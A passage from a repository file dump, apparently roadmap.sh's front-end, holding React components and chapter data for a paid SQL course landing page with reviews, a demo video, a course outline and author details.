today\n          </p>\n        </div>\n\n        <BuyButton variant=\"floating\" />\n      </div>\n\n      {/* Mobile version */}\n      <div className=\"flex md:hidden w-full flex-col bg-yellow-950 px-4 pt-3 pb-4 shadow-lg ring-1 ring-yellow-500/40\">\n        <div className=\"flex flex-col items-center text-center mb-3\">\n          <h2 className=\"text-lg font-medium text-white\">\n            Master SQL Today\n          </h2>\n          <p className=\"text-xs text-zinc-400\">\n            Get instant lifetime access\n          </p>\n        </div>\n\n        <BuyButton variant=\"floating\" />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/PlatformDemo.tsx",
    "content": "import { SectionHeader } from './SectionHeader';\nimport { useState } from 'react';\nimport { Play } from 'lucide-react';\nimport { VideoModal } from '../VideoModal';\n\nexport function PlatformDemo() {\n  const [isVideoModalOpen, setIsVideoModalOpen] = useState(false);\n\n  return (\n    <>\n      {isVideoModalOpen && (\n        <VideoModal\n          videoId=\"6S1CcF-ngeQ\"\n          onClose={() => setIsVideoModalOpen(false)}\n        />\n      )}\n      <div className=\"relative mt-12 w-full max-w-5xl sm:mt-24\">\n        <img\n          src=\"https://assets.roadmap.sh/guest/course-environment-87jg8.png\"\n          alt=\"Course Environment\"\n          className=\"w-full rounded-xl\"\n        />\n        <div\n          onClick={() => setIsVideoModalOpen(true)}\n          className=\"group absolute inset-0 flex cursor-pointer items-center justify-center rounded-xl bg-black/40 transition-all hover:bg-black/50\"\n        >\n          <div className=\"flex size-12 items-center justify-center rounded-full bg-white/90 transition-transform group-hover:scale-105 lg:size-16\">\n            <Play className=\"ml-1 fill-current text-black lg:size-8\" />\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/ReviewsSection.tsx",
    "content": "import { ChevronDownIcon, StarIcon, User2Icon } from 'lucide-react';\nimport { useState } from 'react';\nimport { markdownToHtml } from '../../lib/markdown';\nimport { cn } from '../../lib/classname';\n\ntype Review = {\n  name: string;\n  role: string;\n  rating: number;\n  text: string | string[];\n  avatarUrl?: string;\n  isProminent?: boolean;\n  isSecondaryProminent?: boolean;\n};\n\nexport function ReviewsSection() {\n  const [isExpanded, setIsExpanded] = useState(false);\n  const reviews: Review[] = [\n    {\n      name: 'Robin Wieruch',\n      role: 'Author - Multiple best-selling books',\n      rating: 5,\n      text: [\n        'Kamran has been in the **educative space for a long time**, and it shows in the way he teaches SQL: clear, structured, and straight to the point.',\n        \"He breaks down SQL fundamentals in a way that's both **intuitive and practical**, helping you not just write queries, but truly understand how databases work.\",\n        \"Even if you've used SQL before, this **course will fill in gaps you didn't even realize you had**. Get ready to level up your database skills!\",\n      ],\n      avatarUrl: 'https://assets.roadmap.sh/guest/robin.jpeg',\n      isProminent: true,\n    },\n    {\n      name: 'William Imoh',\n      role: 'Founder and Data Enthusiast',\n      rating: 5,\n      text: [\n        'I have been working with SQL and databases for a long time, I bought this course for the advanced chapters but ended up completing the entire course. I learned a lot of new things and it was **well worth the investment**.',\n        'No matter your SQL experience, this course is **a must-have** if you want to level up your SQL and data analysis skills. Highly recommended!',\n      ],\n      avatarUrl: 'https://assets.roadmap.sh/guest/william-imoh-sd2dk.jpg',\n      isProminent: true,\n    },\n    {\n      name: 'Tomáš Janků',\n      role: 'Software Engineer',\n      rating: 5,\n      text: \"The course and it's interactivity is excellent and I'd honestly say it's **one of the best** on the SQL theme I've seen out there.\",\n      avatarUrl: 'https://assets.roadmap.sh/guest/tomas-janku-6bg89.jpeg',\n    },\n    {\n      name: 'Gourav Khunger',\n      role: 'Software Engineer',\n      rating: 5,\n      text: 'This course was **absolutely brilliant!** The integrated database environment to practice what I learned was the best part.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/gourav-h2f3a.png',\n    },\n    {\n      name: 'Meabed',\n      role: 'CTO',\n      rating: 5,\n      text: 'Kamran has **clearly put a lot of thought** into this course. The content, structure and exercises were all great.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/meabed-fu83q.jpeg',\n    },\n    {\n      name: 'Mohsin Aheer',\n      role: 'Sr. Software Engineer',\n      rating: 5,\n      text: 'I already knew SQL but this course **taught me a bunch of new things.** Practical examples and challenges were great. Highly recommended!',\n      avatarUrl: 'https://assets.roadmap.sh/guest/mohsinaheer-szchu.jpeg',\n    },\n    {\n      name: 'Reeve Tee',\n      role: 'Software Engineer',\n      rating: 5,\n      text: 'I found the course **highly comprehensive and incredibly valuable**. I would love to see more courses like this!',\n      avatarUrl: '',\n    },\n    {\n      name: 'Zeeshan',\n      role: 'Sr. Software Engineer',\n      rating: 5,\n      text: 'Loved the teaching style and the way the course was structured. The **AI tutor was a great help** when I got stuck.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/ziishaned-qjepj.png',\n    },\n    {\n      name: 'Adnan Ahmed',\n      role: 'Engineering Manager',\n      rating: 5,\n      text: 'Having the integrated IDE made a huge difference. Being able to **immediately practice** what I learned was **invaluable**.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/idnan-fzps5.jpeg',\n    },\n    {\n      name: 'Kalvin Chakma',\n      role: 'Jr. Software Engineer',\n      rating: 5,\n      text: \"Best SQL course I've taken. The progression from basic to advanced concepts is **well thought out**, and the challenges are **excellent**.\",\n      avatarUrl: 'https://assets.roadmap.sh/guest/kalvin-d65ol.jpeg',\n    },\n    {\n      name: 'Faisal Ahsan',\n      role: 'Software Engineer',\n      rating: 5,\n      text: 'The course and the learning experience was great. What I really liked was the **no-fluff explanations** and **practical examples**.',\n      avatarUrl: 'https://assets.roadmap.sh/guest/faisal-q78p2.jpeg',\n    },\n  ];\n\n  const prominentReviews = reviews.filter((r) => r.isProminent);\n  const regularReviews = reviews.filter((r) => !r.isProminent);\n\n  return (\n    <div className=\"relative max-w-5xl\">\n      <div\n        className={cn('rounded-2xl pb-0 pt-24', {\n          'pb-8': isExpanded,\n        })}\n      >\n        {/* Prominent Reviews */}\n        <div className=\"mb-4 md:mb-6\">\n          <div className=\"grid grid-cols-1 gap-4 md:gap-6 md:grid-cols-2\">\n            {prominentReviews.map((review, index) => (\n              <div\n                key={index}\n                className=\"review-testimonial relative overflow-hidden rounded-2xl bg-linear-to-br from-yellow-500/10 via-yellow-500/5 to-transparent p-8 backdrop-blur-sm [&_strong]:font-normal [&_strong]:text-yellow-300/70\"\n              >\n                <div className=\"absolute -right-8 -top-8 h-32 w-32 rounded-full bg-yellow-500/5\" />\n                <div className=\"flex items-center gap-4\">\n                  {review.avatarUrl && (\n                    <img\n                      src={review.avatarUrl}\n                      alt={review.name}\n                      className=\"h-16 w-16 rounded-full border-2 border-yellow-500/20 object-cover\"\n                    />\n                  )}\n                  {!review.avatarUrl && (\n                    <div className=\"flex h-16 w-16 items-center justify-center rounded-full bg-zinc-800\">\n                      <User2Icon className=\"h-8 w-8 text-zinc-400\" />\n                    </div>\n                  )}\n                  <div>\n                    <h3 className=\"text-lg font-semibold text-zinc-100\">\n                      {review.name}\n                    </h3>\n                    <p className=\"text-sm text-yellow-500/70\">{review.role}</p>\n                    <div className=\"mt-1 flex\">\n                      {Array.from({ length: review.rating }).map((_, i) => (\n                        <StarIcon\n                          key={i}\n                          className=\"h-4 w-4 fill-yellow-500 text-yellow-500\"\n                        />\n                      ))}\n                    </div>\n                  </div>\n                </div>\n                <div className=\"mt-4 flex flex-col gap-3\">\n                  {(typeof review.text === 'string'\n                    ? [review.text]\n                    : review.text\n                  ).map((text, index) => (\n                    <p\n                      key={index}\n                      className=\"text-zinc-300\"\n                      dangerouslySetInnerHTML={{\n                        __html: markdownToHtml(text),\n                      }}\n                    />\n                  ))}\n                </div>\n              </div>\n            ))}\n          </div>\n        </div>\n\n        <div\n          className={cn(\n            'relative grid grid-cols-1 gap-4 md:grid-cols-2 lg:grid-cols-3',\n            isExpanded ? '' : 'max-h-[400px] overflow-hidden',\n          )}\n        >\n          {regularReviews.map((review, index) => (\n            <div\n              key={index}\n              className={cn(\n                'review-testimonial shrink-0 break-inside-avoid-column rounded-xl p-6 backdrop-blur-sm [&_strong]:font-normal [&_strong]:text-yellow-300/70',\n                {\n                  'bg-linear-to-br from-yellow-500/10 via-yellow-500/5 to-transparent':\n                    review.isSecondaryProminent,\n                  'bg-zinc-800/30': !review.isSecondaryProminent,\n                },\n              )}\n            >\n              <div className=\"flex items-center gap-4\">\n                {review.avatarUrl && (\n                  <img\n                    src={review.avatarUrl}\n                    alt={review.name}\n                    className=\"h-12 w-12 rounded-full object-cover\"\n                  />\n                )}\n                {!review.avatarUrl && (\n                  <div className=\"flex h-12 w-12 items-center justify-center rounded-full bg-zinc-800\">\n                    <User2Icon className=\"h-6 w-6 text-zinc-400\" />\n                  </div>\n                )}\n                <div>\n                  <h3 className=\"font-semibold text-zinc-100\">{review.name}</h3>\n                  <p className=\"text-sm text-zinc-400\">{review.role}</p>\n                </div>\n              </div>\n              <div className=\"mt-2 flex\">\n                {Array.from({ length: review.rating }).map((_, i) => (\n                  <StarIcon\n                    key={i}\n                    className=\"h-4 w-4 fill-yellow-500 text-yellow-500\"\n                  />\n                ))}\n              </div>\n              <p\n                className=\"mt-4 text-zinc-300\"\n                dangerouslySetInnerHTML={{\n                  __html: markdownToHtml(review.text),\n                }}\n              />\n            </div>\n          ))}\n\n          <div\n            className={cn(\n              'absolute bottom-0 left-0 right-0 h-40 bg-linear-to-t from-[#121212] via-[#121212]/80 to-transparent',\n              isExpanded ? 'opacity-0' : 'opacity-100',\n            )}\n          />\n        </div>\n      </div>\n\n      <div\n        className={cn('absolute left-1/2 top-full -translate-x-1/2', {\n          '-translate-y-1/2': !isExpanded,\n        })}\n      >\n        <button\n          onClick={() => setIsExpanded(!isExpanded)}\n          className=\"flex items-center gap-2 rounded-full bg-zinc-800 px-6 py-2 text-sm font-medium text-zinc-300 transition-all hover:bg-zinc-700 hover:text-zinc-100\"\n        >\n          {isExpanded ? 'Show Less' : 'Show More Reviews'}\n          <ChevronDownIcon\n            className={`h-4 w-4 transition-transform ${\n              isExpanded ? 'rotate-180' : ''\n            }`}\n          />\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/SQLCoursePage.tsx",
    "content": "import {\n  ArrowUpDownIcon,\n  BarChartIcon,\n  BrainIcon,\n  ClipboardIcon,\n  CodeIcon,\n  DatabaseIcon,\n  Eye,\n  FileCheckIcon,\n  FileQuestionIcon,\n  GitBranchIcon,\n  GitMergeIcon,\n  LayersIcon,\n  TableIcon,\n  WrenchIcon,\n} from 'lucide-react';\nimport { RoadmapLogoIcon } from '../ReactIcons/RoadmapLogo';\nimport { AccountButton } from './AccountButton';\nimport { AuthorCredentials } from './AuthorCredentials';\nimport { AuthorQuoteMessage } from './AuthorQuoteMessage';\nimport { BuyButton } from './BuyButton';\nimport { ChapterRow } from './ChapterRow';\nimport { CourseAuthor } from './CourseAuthor';\nimport { CourseFeature } from './CourseFeature';\nimport { FAQSection } from './FAQSection';\nimport { FloatingPurchase } from './FloatingPurchase';\nimport { PlatformDemo } from './PlatformDemo';\nimport { ReviewsSection } from './ReviewsSection';\nimport { SectionHeader } from './SectionHeader';\nimport { Spotlight } from './Spotlight';\n\ntype ChapterData = {\n  icon: React.ReactNode;\n  title: string;\n  description: string;\n  lessonCount: number;\n  challengeCount: number;\n  lessons: { title: string; type: 'lesson' | 'challenge' | 'quiz' }[];\n};\n\nexport const sqlCourseChapters: ChapterData[] = [\n  {\n    icon: <DatabaseIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'Introduction',\n    description: 'Get comfortable with database concepts and SQL fundamentals.',\n    lessonCount: 4,\n    challengeCount: 1,\n    lessons: [\n      { title: 'Basics of Databases', type: 'lesson' },\n      { title: 'What is SQL?', type: 'lesson' },\n      { title: 'Types of Queries', type: 'lesson' },\n      { title: 'Next Steps', type: 'lesson' },\n      { title: 'Introduction Quiz', type: 'challenge' },\n    ],\n  },\n  {\n    icon: <TableIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'SQL Basics',\n    description: 'Master the essential SQL query operations and syntax.',\n    lessonCount: 9,\n    challengeCount: 7,\n    lessons: [\n      { title: 'SELECT Fundamentals', type: 'lesson' },\n      { title: 'Aliases and Constants', type: 'lesson' },\n      { title: 'Expressions in SELECT', type: 'lesson' },\n      { title: 'Selecting DISTINCT Values', type: 'lesson' },\n      { title: 'Filtering with WHERE', type: 'lesson' },\n      { title: 'Sorting with ORDER BY', type: 'lesson' },\n      { title: 'Limiting Results with LIMIT', type: 'lesson' },\n      { title: 'Handling NULL Values', type: 'lesson' },\n      { title: 'Comments', type: 'lesson' },\n      { title: 'Basic Queries Quiz', type: 'quiz' },\n      { title: 'Projection Challenge', type: 'challenge' },\n      { title: 'Select Expression', type: 'challenge' },\n      { title: 'Select Unique', type: 'challenge' },\n      { title: 'Logical Operators', type: 'challenge' },\n      { title: 'Sorting Challenge', type: 'challenge' },\n      { title: 'Sorting and Limiting', type: 'challenge' },\n      { title: 'Sorting and Filtering', type: 'challenge' },\n    ],\n  },\n  {\n    icon: <CodeIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'Manipulating Data',\n    description: 'Learn how to modify and manipulate data in your database.',\n    lessonCount: 3,\n    challengeCount: 3,\n    lessons: [\n      { title: 'INSERT Operations', type: 'lesson' },\n      { title: 'UPDATE Operations', type: 'lesson' },\n      { title: 'DELETE Operations', type: 'lesson' },\n      { title: 'Data Manipulation Quiz', type: 'quiz' },\n      { title: 'Inserting Customers', type: 'challenge' },\n      { title: 'Updating Bookstore', type: 'challenge' },\n      { title: 'Deleting Books', type: 'challenge' },\n    ],\n  },\n  {\n    icon: <LayersIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'Defining Tables',\n    description: 'Master database schema design and table management.',\n    lessonCount: 9,\n    challengeCount: 7,\n    lessons: [\n      { title: 'Creating Tables', type: 'lesson' },\n      { title: 'Data Types in SQLite', type: 'lesson' },\n      { title: 'Common Data Types', type: 'lesson' },\n      { title: 'More on Numeric Types', type: 'lesson' },\n      { title: 'Temporal Data Types', type: 'lesson' },\n      { title: 'CHECK Constraints', type: 'lesson' },\n      { title: 'Primary Key Constraint', type: 'lesson' },\n      { title: 'Modifying Tables', type: 'lesson' },\n      { title: 'Dropping and Truncating', type: 'lesson' },\n      { title: 'Defining Tables Quiz', type: 'quiz' },\n      { title: 'Simple Table Creation', type: 'challenge' },\n      { title: 'Data Types Challenge', type: 'challenge' },\n      { title: 'Constraints Challenge', type: 'challenge' },\n      { title: 'Temporal Validation', type: 'challenge' },\n      { title: 'Sales Data Analysis', type: 'challenge' },\n      { title: 'Modifying Tables', type: 'challenge' },\n      { title: 'Removing Table Data', type: 'challenge' },\n    ],\n  },\n  {\n    icon: <GitMergeIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'Multi-Table Queries',\n    description:\n      'Learn to work with multiple tables using JOINs and relationships.',\n    lessonCount: 7,\n    challengeCount: 10,\n    lessons: [\n      { title: 'More on Relational Data', type: 'lesson' },\n      { title: 'Relationships and Types', type: 'lesson' },\n      { title: 'JOINs in Queries', type: 'lesson' },\n      { title: 'Self Joins and Usecases', type: 'lesson' },\n      { title: 'Foreign Key Constraint', type: 'lesson' },\n      { title: 'Set Operator Queries', type: 'lesson' },\n      { title: 'Views and Virtual Tables', type: 'lesson' },\n      { title: 'Multi-Table Queries Quiz', type: 'quiz' },\n      { title: 'Inactive Customers', type: 'challenge' },\n      { title: 'Recent 3 Orders', type: 'challenge' },\n      { title: 'High Value Orders', type: 'challenge' },\n      { title: 'Specific Book Customers', type: 'challenge' },\n      { title: 'Referred Customers', type: 'challenge' },\n      { title: 'Readers Like You', type: 'challenge' },\n      { title: 'Same Price Books', type: 'challenge' },\n      { title: 'Multi-Section Authors', type: 'challenge' },\n      { title: 'Expensive Books', type: 'challenge' },\n      { title: 'Trending Tech Books', type: 'challenge' },\n    ],\n  },\n  {\n    icon: <WrenchIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'Aggregate Functions',\n    description:\n      \"Analyze and summarize data using SQL's powerful aggregation features.\",\n    lessonCount: 4,\n    challengeCount: 10,\n    lessons: [\n      { title: 'What is Aggregation?', type: 'lesson' },\n      { title: 'Basic Aggregation', type: 'lesson' },\n      { title: 'Grouping Data', type: 'lesson' },\n      { title: 'Grouping and Filtering', type: 'lesson' },\n      { title: 'Aggregate Queries Quiz', type: 'quiz' },\n      { title: 'Book Sales Summary', type: 'challenge' },\n      { title: 'Category Insights', type: 'challenge' },\n      { title: 'Author Tier Analysis', type: 'challenge' },\n      { title: 'Author Book Stats', type: 'challenge' },\n      { title: 'Daily Sales Report', type: 'challenge' },\n      { title: 'Publisher Stats', type: 'challenge' },\n      { title: 'High Value Publishers', type: 'challenge' },\n      { title: 'Premium Authors', type: 'challenge' },\n      { title: 'Sales Analysis', type: 'challenge' },\n      { title: 'Employee Performance', type: 'challenge' },\n    ],\n  },\n  {\n    icon: <BarChartIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'Scalar Functions',\n    description:\n      'Master built-in functions for data transformation and manipulation.',\n    lessonCount: 6,\n    challengeCount: 5,\n    lessons: [\n      { title: 'What are they?', type: 'lesson' },\n      { title: 'String Functions', type: 'lesson' },\n      { title: 'Numeric Functions', type: 'lesson' },\n      { title: 'Date Functions', type: 'lesson' },\n      { title: 'Conversion Functions', type: 'lesson' },\n      { title: 'Logical Functions', type: 'lesson' },\n      { title: 'Scalar Functions Quiz', type: 'quiz' },\n      { title: 'Customer Contact List', type: 'challenge' },\n      { title: 'Membership Duration', type: 'challenge' },\n      { title: 'Book Performance', type: 'challenge' },\n      { title: 'Book Categories', type: 'challenge' },\n      { title: 'Monthly Sales Analysis', type: 'challenge' },\n    ],\n  },\n  {\n    icon: <GitBranchIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'Subqueries and CTEs',\n    description:\n      'Write complex queries using subqueries and common table expressions.',\n    lessonCount: 4,\n    challengeCount: 6,\n    lessons: [\n      { title: 'What are Subqueries?', type: 'lesson' },\n      { title: 'Correlated Subqueries', type: 'lesson' },\n      { title: 'Common Table Expressions', type: 'lesson' },\n      { title: 'Recursive CTEs', type: 'lesson' },\n      { title: 'Subqueries Quiz', type: 'quiz' },\n      { title: 'Books Above Average', type: 'challenge' },\n      { title: 'Latest Category Books', type: 'challenge' },\n      { title: 'Low Stock by Category', type: 'challenge' },\n      { title: 'Bestseller Rankings', type: 'challenge' },\n      { title: 'New Customer Analysis', type: 'challenge' },\n      { title: 'Daily Sales Report', type: 'challenge' },\n    ],\n  },\n  {\n    icon: <ArrowUpDownIcon className=\"h-6 w-6 text-yellow-500\" />,\n    title: 'Window Functions',\n    description: 'Advanced analytics and calculations using window functions.',\n    lessonCount: 5,\n    challengeCount: 7,\n    lessons: [\n      { title: 'What are they?', type: 'lesson' },\n      { title: 'OVER and PARTITION BY', type: 'lesson' },\n      { title: 'Use of ORDER BY', type: 'lesson' },\n      { title: 'Ranking Functions', type: 'lesson' },\n      { title: 'Window Frames', type: 'lesson' },\n      { title: 'Window Functions Quiz', type: 'quiz' },\n      { title: 'Basic Sales Metrics', type: 'challenge' },\n      { title: 'Bestseller Comparison', type: 'challenge' },\n      { title: 'Author Category Sales', type: 'challenge' },\n      { title: 'Top Authors', type: 'challenge' },\n      { title: 'Price Tier Rankings', type: 'challenge' },\n      { title: 'Month-over-Month Sales', type: 'challenge' },\n      { title: 'Price Range Analysis', type: 'challenge' },\n    ],\n  },\n];\n\nexport function SQLCoursePage() {\n  return (\n    <>\n      <div className=\"relative flex grow flex-col items-center bg-linear-to-b from-zinc-900 to-zinc-950 px-4 pt-3 pb-52 text-zinc-400 md:px-10 md:pt-8\">\n        <div className=\"flex w-full items-center justify-between\">\n          <a\n            href=\"https://roadmap.sh\"\n            target=\"_blank\"\n            className=\"opacity-20 transition-opacity hover:opacity-100\"\n          >\n            <RoadmapLogoIcon />\n          </a>\n          <AccountButton />\n        </div>\n        <div className=\"relative mt-7 max-w-4xl text-left md:mt-20 md:text-center\">\n          <Spotlight className=\"top-[-200px] left-[-170px]\" fill=\"#EAB308\" />\n\n          <div className=\"inline-block rounded-full bg-yellow-500/10 px-4 py-1.5 text-base text-yellow-500 md:px-6 md:py-2 md:text-lg\">\n            <span className=\"hidden sm:block\">\n              Complete Course to Master Practical SQL\n            </span>\n            <span className=\"block sm:hidden\">Complete SQL Course</span>\n          </div>\n\n          <h1 className=\"mt-5 text-4xl font-bold tracking-tight text-white md:mt-8 md:text-7xl\">\n            Master SQL{' '}\n            <span className=\"hidden min-[384px]:inline\">Queries</span>\n            <div className=\"mt-2.5 bg-linear-to-r from-yellow-500 to-yellow-300 bg-clip-text text-transparent md:text-6xl lg:text-7xl\">\n              From Basic to Advanced\n            </div>\n          </h1>\n\n          <AuthorCredentials />\n          <p className=\"mx-auto my-5 max-w-2xl text-xl text-zinc-300 md:my-12 lg:text-2xl\">\n            A structured course to master database querying - perfect for\n            developers, data analysts, and anyone working with data.\n          </p>\n\n          <div className=\"hidden flex-row items-center justify-center gap-5 md:flex\">\n            <div className=\"flex flex-row items-center gap-2\">\n              <ClipboardIcon className=\"size-6 text-yellow-600\" />\n              <span>55+ Lessons</span>\n            </div>\n            <div className=\"flex flex-row items-center gap-2\">\n              <FileQuestionIcon className=\"size-6 text-yellow-600\" />\n              <span>100+ Challenges</span>\n            </div>\n            <div className=\"flex flex-row items-center gap-2\">\n              <CodeIcon className=\"size-6 text-yellow-600\" />\n              <span>Integrated IDE</span>\n            </div>\n            <div className=\"flex flex-row items-center gap-2\">\n              <BrainIcon className=\"size-6 text-yellow-600\" />\n              <span>AI Tutor</span>\n            </div>\n          </div>\n\n          <div className=\"mt-7 flex justify-start md:mt-12 md:justify-center\">\n            <BuyButton variant=\"main\" />\n          </div>\n        </div>\n\n        <ReviewsSection />\n\n        <PlatformDemo />\n\n        <AuthorQuoteMessage />\n\n        <SectionHeader\n          title=\"Not your average SQL course\"\n          description=\"Built around a text-based interactive approach and packed with practical challenges, this comprehensive SQL bootcamp stands out with features that make it truly unique.\"\n          className=\"mt-16 md:mt-20\"\n        />\n\n        <div className=\"mx-auto mt-6 w-full max-w-5xl md:mt-10\">\n          <div className=\"grid grid-cols-1 gap-2 md:grid-cols-2 md:gap-4 lg:grid-cols-3\">\n            <CourseFeature\n              title=\"Textual Course\"\n              icon={Eye}\n              imgUrl=\"https://assets.roadmap.sh/guest/textual-course.png\"\n              description=\"Unlike video-based courses where you have to learn at the pace of the instructor, this course is text-based, allowing you to learn at your own pace.\"\n            />\n            <CourseFeature\n              title=\"Coding Environment\"\n              icon={CodeIcon}\n              imgUrl=\"https://assets.roadmap.sh/guest/coding-environment.png\"\n              description=\"With the integrated IDE, you can practice your SQL queries in real-time, getting instant feedback on your results.\"\n            />\n            <CourseFeature\n              title=\"Practical Challenges\"\n              icon={FileQuestionIcon}\n              imgUrl=\"https://assets.roadmap.sh/guest/coding-challenges.png\"\n              description=\"The course is packed with practical challenges and quizzes, allowing you to test your knowledge and skills.\"\n            />\n            <CourseFeature\n              title=\"AI Instructor\"\n              icon={BrainIcon}\n              description=\"Powerful AI tutor to help you with your queries, provide additional explanations and help if you get stuck.\"\n              imgUrl=\"https://assets.roadmap.sh/guest/ai-integration.png\"\n            />\n            <CourseFeature\n              title=\"Take Notes\"\n              icon={ClipboardIcon}\n              description=\"The course allows you to take notes, where you can write down your thoughts and ideas. You can visit them later to review your progress.\"\n              imgUrl=\"https://assets.roadmap.sh/guest/course-notes.png\"\n            />\n            <CourseFeature\n              title=\"Completion Certificate\"\n              icon={FileCheckIcon}\n              imgUrl=\"https://assets.roadmap.sh/guest/course-certificate.jpg\"\n              description=\"The course provides a completion certificate, which you can share with your potential employers.\"\n            />\n          </div>\n        </div>\n\n        <div className=\"mt-7 w-full max-w-3xl text-left md:mt-9\">\n          <p className=\"text-lg leading-normal md:text-xl\">\n            Oh, and you get the{' '}\n            <span className=\"bg-linear-to-r from-yellow-500 to-yellow-300 bg-clip-text text-transparent\">\n              lifetime access\n            </span>{' '}\n            to the course including all the future updates. Also, there is a\n            certificate of completion which you can share with your potential\n            employers.\n          </p>\n        </div>\n\n        <SectionHeader\n          title=\"Course Overview\"\n          description=\"This SQL programming class is designed to help you go from beginner to expert through hands-on practice with real-world scenarios, mastering everything from basic to complex queries.\"\n          className=\"mt-8 md:mt-24\"\n        />\n\n        <div className=\"mt-8 w-full max-w-3xl space-y-4 md:mt-12\">\n          {sqlCourseChapters.map((chapter, index) => (\n            <ChapterRow key={index} counter={index + 1} {...chapter} />\n          ))}\n        </div>\n\n        <SectionHeader\n          title=\"About the Author\"\n          className=\"mt-12 md:mt-24\"\n          description={\n            <div className=\"mt-2 flex flex-col gap-4 text-lg leading-[1.52] md:mt-4 md:gap-6 md:text-xl\">\n              <p>\n                I am Kamran Ahmed, an engineering leader with over a decade of\n                experience in the tech industry. Throughout my career I have\n                built and scaled software systems, architected complex data\n                systems, and worked with large amounts of data to create\n                efficient solutions.\n              </p>\n              <p>\n                I am also the creator of{' '}\n                <a\n                  href=\"https://roadmap.sh\"\n                  target=\"_blank\"\n                  className=\"text-yellow-400\"\n                >\n                  roadmap.sh\n                </a>\n                , a platform trusted by millions of developers to guide their\n                learning journeys. I love to simplify complex topics and make\n                learning practical and accessible.\n              </p>\n              <p>\n                In this course, I will share everything I have learned about SQL\n                from the basics to advanced concepts in a way that is easy to\n                understand and apply. Whether you are just starting or looking\n                to sharpen your skills, you are in the right place.\n              </p>\n            </div>\n          }\n        />\n\n        <CourseAuthor />\n\n        <FAQSection />\n\n        <FloatingPurchase />\n\n        <div className=\"mt-12 w-full max-w-3xl text-left md:mt-9\">\n          <p className=\"flex flex-col items-center justify-center gap-2 text-sm md:flex-row md:gap-0\">\n            <a href=\"/terms\" target=\"_blank\" className=\"text-zinc-500\">\n              Terms of Use\n            </a>\n            <span className=\"mx-4 hidden md:block\">&middot;</span>\n            <a href=\"/privacy\" target=\"_blank\" className=\"text-zinc-500\">\n              Privacy Policy\n            </a>\n          </p>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/SectionHeader.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ntype SectionHeaderProps = {\n  title: string;\n  description: string | React.ReactNode;\n  className?: string;\n};\n\nexport function SectionHeader(props: SectionHeaderProps) {\n  const { title, description, className } = props;\n\n  return (\n    <div className={cn('mx-auto w-full mt-24 max-w-3xl', className)}>\n      <div className=\"relative w-full\">\n        <div className=\"flex items-center gap-6\">\n          <div className=\"inline-flex items-center rounded-xl \">\n            <span className=\"text-2xl md:text-3xl font-medium text-zinc-200\">{title}</span>\n          </div>\n          <div className=\"h-[1px] grow bg-linear-to-r from-yellow-500/20 to-transparent\"></div>\n        </div>\n      </div>\n      {typeof description === 'string' ? (\n        <p className=\"mt-2 md:mt-5 text-lg md:text-xl text-zinc-400\">{description}</p>\n      ) : (\n        description\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/Spotlight.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ntype SpotlightProps = {\n  className?: string;\n  fill?: string;\n};\n\nexport function Spotlight(props: SpotlightProps) {\n  const { className, fill } = props;\n\n  return (\n    <svg\n      className={cn(\n        'animate-spotlight pointer-events-none absolute z-1 h-[169%] w-[238%] opacity-0 lg:w-[138%]',\n        className,\n      )}\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 3787 2842\"\n      fill=\"none\"\n    >\n      <g filter=\"url(#filter)\">\n        <ellipse\n          cx=\"1924.71\"\n          cy=\"273.501\"\n          rx=\"1924.71\"\n          ry=\"273.501\"\n          transform=\"matrix(-0.822377 -0.568943 -0.568943 0.822377 3631.88 2291.09)\"\n          fill={fill || 'white'}\n          fillOpacity=\"0.21\"\n        ></ellipse>\n      </g>\n      <defs>\n        <filter\n          id=\"filter\"\n          x=\"0.860352\"\n          y=\"0.838989\"\n          width=\"3785.16\"\n          height=\"2840.26\"\n          filterUnits=\"userSpaceOnUse\"\n          colorInterpolationFilters=\"sRGB\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n          <feBlend\n            mode=\"normal\"\n            in=\"SourceGraphic\"\n            in2=\"BackgroundImageFix\"\n            result=\"shape\"\n          ></feBlend>\n          <feGaussianBlur\n            stdDeviation=\"151\"\n            result=\"effect1_foregroundBlur_1065_8\"\n          ></feGaussianBlur>\n        </filter>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/AuthorCredentials.tsx",
    "content": "import { AwardIcon, InfoIcon } from 'lucide-react';\nimport { GitHubIcon } from '../ReactIcons/GitHubIcon';\nimport { Popover, PopoverContent, PopoverTrigger } from '../Popover';\n\nexport function AuthorCredentials() {\n  return (\n    <div className=\"flex items-center gap-3 text-white lg:mt-auto\">\n      <img\n        src=\"https://github.com/kamranahmedse.png\"\n        className=\"aspect-[4/5] h-[110px] w-[88px] rounded-xl object-cover shadow-md\"\n        alt=\"Kamran Ahmed\"\n      />\n\n      <div className=\"flex flex-col gap-2\">\n        <div>\n          <p className=\"text-xl font-medium transition-colors duration-200\">\n            by Kamran Ahmed\n          </p>\n          <p className=\"mt-0.5 text-sm text-gray-400\">\n            Your teacher for this course\n          </p>\n        </div>\n\n        <div className=\"flex flex-col gap-1\">\n          <a\n            href=\"https://github.com/kamranahmedse\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"inline-flex cursor-pointer items-center gap-1 rounded-md bg-gradient-to-r from-yellow-500/15 to-orange-500/15 px-2 py-1.5 backdrop-blur-sm transition-all duration-200 